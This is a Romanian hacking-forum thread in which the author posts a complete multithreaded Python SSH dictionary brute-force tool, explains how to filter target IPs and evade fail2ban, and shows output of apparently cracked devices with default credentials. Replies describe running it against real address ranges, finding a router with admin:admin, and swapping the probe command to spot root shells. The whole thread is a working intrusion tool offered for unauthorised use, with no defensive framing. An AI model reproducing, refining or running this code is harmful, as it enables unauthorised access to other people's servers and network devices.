Jump to content
Elohim

[RST] SSH Brute Force Tool [Python]

Recommended Posts

Urmatorul script este un dictionary attack tool pentru SSH scris in Python.


import paramiko, sys, Queue, threading

class SSHBrute(threading.Thread):
def __init__(self, queue):
threading.Thread.__init__(self)
self.queue = queue
def run(self):
while True:
ip,user,passwd = self.queue.get()
self.kraken(ip,user,passwd)
self.queue.task_done()

def kraken(self,ip,user,passwd):
try:
if ip in cracked: return False

if '%user%' in str(passwd):
passwd = passwd.split("%")[0] + user + passwd.split("%")[2]
if '%User%' in str(passwd):
pwd = user + passwd.split("%")[2]
passwd = passwd.split("%")[0]+pwd.title()
if str(passwd) == '%null%':
passwd = ''

ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(ip, username=user, password=passwd, timeout=35)
raw.write(ip+' '+user+' '+passwd+'\n')
raw.flush()
chan = ssh.get_transport().open_session()
chan.settimeout(35)
chan.exec_command('uname -a')
data = chan.recv(1024)

if len(data) == 0:
nologs.write(ip+' '+user+' '+passwd+'\n')
nologs.flush()
return False

val.write(ip+' '+user+' '+passwd+'|'+data.rstrip()+'\n')
val.flush()
cracked.append(ip)
chan.close()
ssh.close()
return True
except Exception, e:
if 'uthent' in str(e):
if dbg == 'bad':
bad.write(ip+'\n')
bad.flush()
#print '\r[+]Tried '+ip+' '+user+' '+passwd+' '
ssh.close()
return False
#print ip, str(e)
ssh.close()
return False

def brutemain():
if len(sys.argv) < 2:
print """
SSH Brute Force Tool
Author: @Elohim [RST]
Usage:
bruter ThreadNumber IpFile UserFile PassFile FilterSwitch*
*The filter Switch Takes Either the word "bad" or "no".
If you supply the word bad, it filters in bad.txt only the ips
which indeed support ssh AUTH and password didn't work"""
return False
ThreadNR = int(sys.argv[1])
queue = Queue.Queue(maxsize=20000)
try:
i = 0
for i in range(ThreadNR):
t = SSHBrute(queue)
t.daemon = True
t.start()
i += 1
except Exception, e:
print 'Cant start more than',i,'Threads!'

global bad
global val
global nologs
global cracked
global raw
cracked = []
bad = open('bad.txt','w')
val = open('valid.txt','a')
nologs = open('nologins.txt','a')
raw = open('raw.txt','a')
with open(str(sys.argv[2]),'rU') as ipf: ips = ipf.read().splitlines()
with open(str(sys.argv[3]),'rU') as uf: users = uf.read().splitlines()
with open(str(sys.argv[4]),'rU') as pf: passwords = pf.read().splitlines()
global dbg
dbg = str(sys.argv[5])

try:
for password in passwords:
for user in users:
for ip in ips:
queue.put((ip,user,password))
except:
pass

queue.join()

if __name__ == "__main__":
brutemain()

Am dat un mic exemplu despre usage daca il porniti fara argumente.

Va sfatuiesc sa trecei odata prin ip-uri cu un singur user si o parola, si argumentul bad, pentru a ramane doar cu ip-urile care accepta logarea prin SSH. Apoi va luati ip-urile din bad.txt si le folositi doar pe ele.

Face 3 fisiere: raw.txt nologin.txt si valid.txt

In raw.txt o sa fie puse toate, si cele care au *sh disabled, si cele care se logheaza normal.

In nologin.txt o sa fie puse doar cele care suporta un ssh transport,sau nu au niciun fel de shell activ, iar in valid.txt cele care au shell activ, si li se va adauga si banner-ul ( uname -a )

exemplu de valid.txt:

68.170.**.24 ubnt ubnt|Linux Ubiquiti 2.6.32.54 #1 Thu Aug 16 13:41:25 EEST 2012 mips unknown
68.117.**.194 ubnt ubnt|Linux Ubiquiti 2.6.15-5.2 #1 Mon Dec 19 20:46:46 EET 2011 mips unknown
68.13.**.45 ubnt ubnt|Linux Ubiquiti 2.6.15-5.2 #1 Mon Dec 19 20:46:46 EET 2011 mips unknown
68.170.**.64 ubnt ubnt|Linux AirRouter 2.6.32.54 #1 Fri Mar 8 10:15:49 EET 2013 mips unknown

Daca vreti sa fie verbose, si sa vedeti ce se intampla, scoate comment-urile de la print .

Va trebuie paramiko, dar cine chiar vrea sa il foloseasca o sa se descurce si singur. Acesta e unu din motivele pentru care nu l-am compilat nici pt win nici pt linux.

Astept pareri si posibile imbunatatiri. Nu mai dati bani pe asa zisele "scannere" sau "arhive" private.

  • Upvote 3
  • Downvote 1
Link to comment
Share on other sites

@spide112 , multumesc.

In legatura cu detectia la brute force, este facut in asa fel incat, ia o singura parola, un singur user, si trece prin toate ip-urile, apoi revine, ia a doua parola ( daca exista ) , acelasi user, si trece iar prin ip-uri. Niciodata nu o sa existe 2 login attempts consecutive intr-un interval scurt (Daca este folosit un ip list considerabil, ex: 40 000 or so ).

Bine inteles, nu este fail-proof, dar in 80% din cazuri cel putin ar trebui sa treaca de fail2ban and alike systems.

Edited by Elohim
  • Upvote 1
Link to comment
Share on other sites

Am instalat python-paramiko pentru ca nu-l aveam dar imi da o eroare de genul (Ubuntu 12.04, Python 2.7.3):

./ssh.py 100 scan.log useri parole no

No handlers could be found for logger "paramiko.transport"

200.55.0.70 Error reading SSH protocol banner

200.55.0.74 Negotiation failed.

200.55.0.177 Negotiation failed.

200.55.3.1 Negotiation failed.

200.55.0.90 Negotiation failed.

[+]Tried 200.50.0.18 test test

[+]Tried 200.50.3.146 test test

[+]Tried 200.50.1.85 test test

Totusi se pare ca functioneaza si asa, deci este ceva cu modulul in neregula. Mi-a gasit un router cu admin:admin si l-am oprit eu. Aveam unul intr-un timp facut in perl care verifica smtp-uri, cam aceeasi baza de gandire. Cred ca asta ar fuctiona mai bine decat vechile brute-force scanner. Ca este facut in python este un +; usor de citit si usor de modificat, mai ales ca 70% din incepatori pornesc cu pythonul in zilele astea.

Bravo si la mai multe! ;)

Edited by smbgpla
Link to comment
Share on other sites

La eroarea asta ma refeream, restul stiu ca este verbose mode. Eu am decomentat liniile sa-l vad cum trece prin ip-uri. Eroarea este din cauza modulului. Am citit vreo 40 de min pe google si se pare ca "The obvious solution is configure the logging according to your needs" :)) Daca intereseaza pe cineva, am reinstalat python full cu tot cu module si se pare ca nu mai este nici o problema. Librariile erau vechi si modulul mai nou (actualizat).

Ma rog, dupa cum ai spus si tu, nu interferea cu scannerul. Intelesesem faza cu bad, dar aveam cam 70 de ip-uri si un singur user si o singura parola, de aceea nu am mai considerat ca e necesar. Intradevar, daca bagi vreo 5k ip-uri este nevoie.

+1 Bravo inca o data si pentru celelalte.

Link to comment
Share on other sites

in loc de commanda "uname -a" am pus "cat /etc/issue" pentru a vedea ce a prins deoarece am scanat normal cum e aici si prindea numai routere si verificam degeaa o imensa lista pt cei care vor potpune asa si in lista iti va arata ce versiune este .. :) sa intrati si sa estati direct rooturile bune .. fara a mai pierde timp cu routere si alte sisteme

Link to comment
Share on other sites

@BloodLust, aia trebuia sa fie o bucurie descoperita pe cont propriu de fiecare ) A fost unul din motive pentru care nici nu am scris despre asta in OP.

Daca tot s-a deschis subiectul, sa nu incercati mai mult de 1 comanda, despartita prin ;, pentru ca nu o sa mearga.

Link to comment
Share on other sites

@sTzzz, e de la versiunea de Python sau gresesti tu ceva.

Nu am implementat si nu o sa implementez functie de ip range, pentru ca este inutila. Cine vrea sa testeze servere linux, nu o sa il opreasca un port scanner, sau o comanda invatata pe de rost ( punct slash aa.bb )

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...